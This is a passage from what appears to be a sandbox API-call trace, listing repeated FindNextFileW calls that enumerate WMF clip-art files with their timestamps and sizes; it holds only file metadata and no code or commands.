ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0128.806] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0128.807] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0128.808] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0128.809] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10313bcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10313bcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10360091, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0128.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, 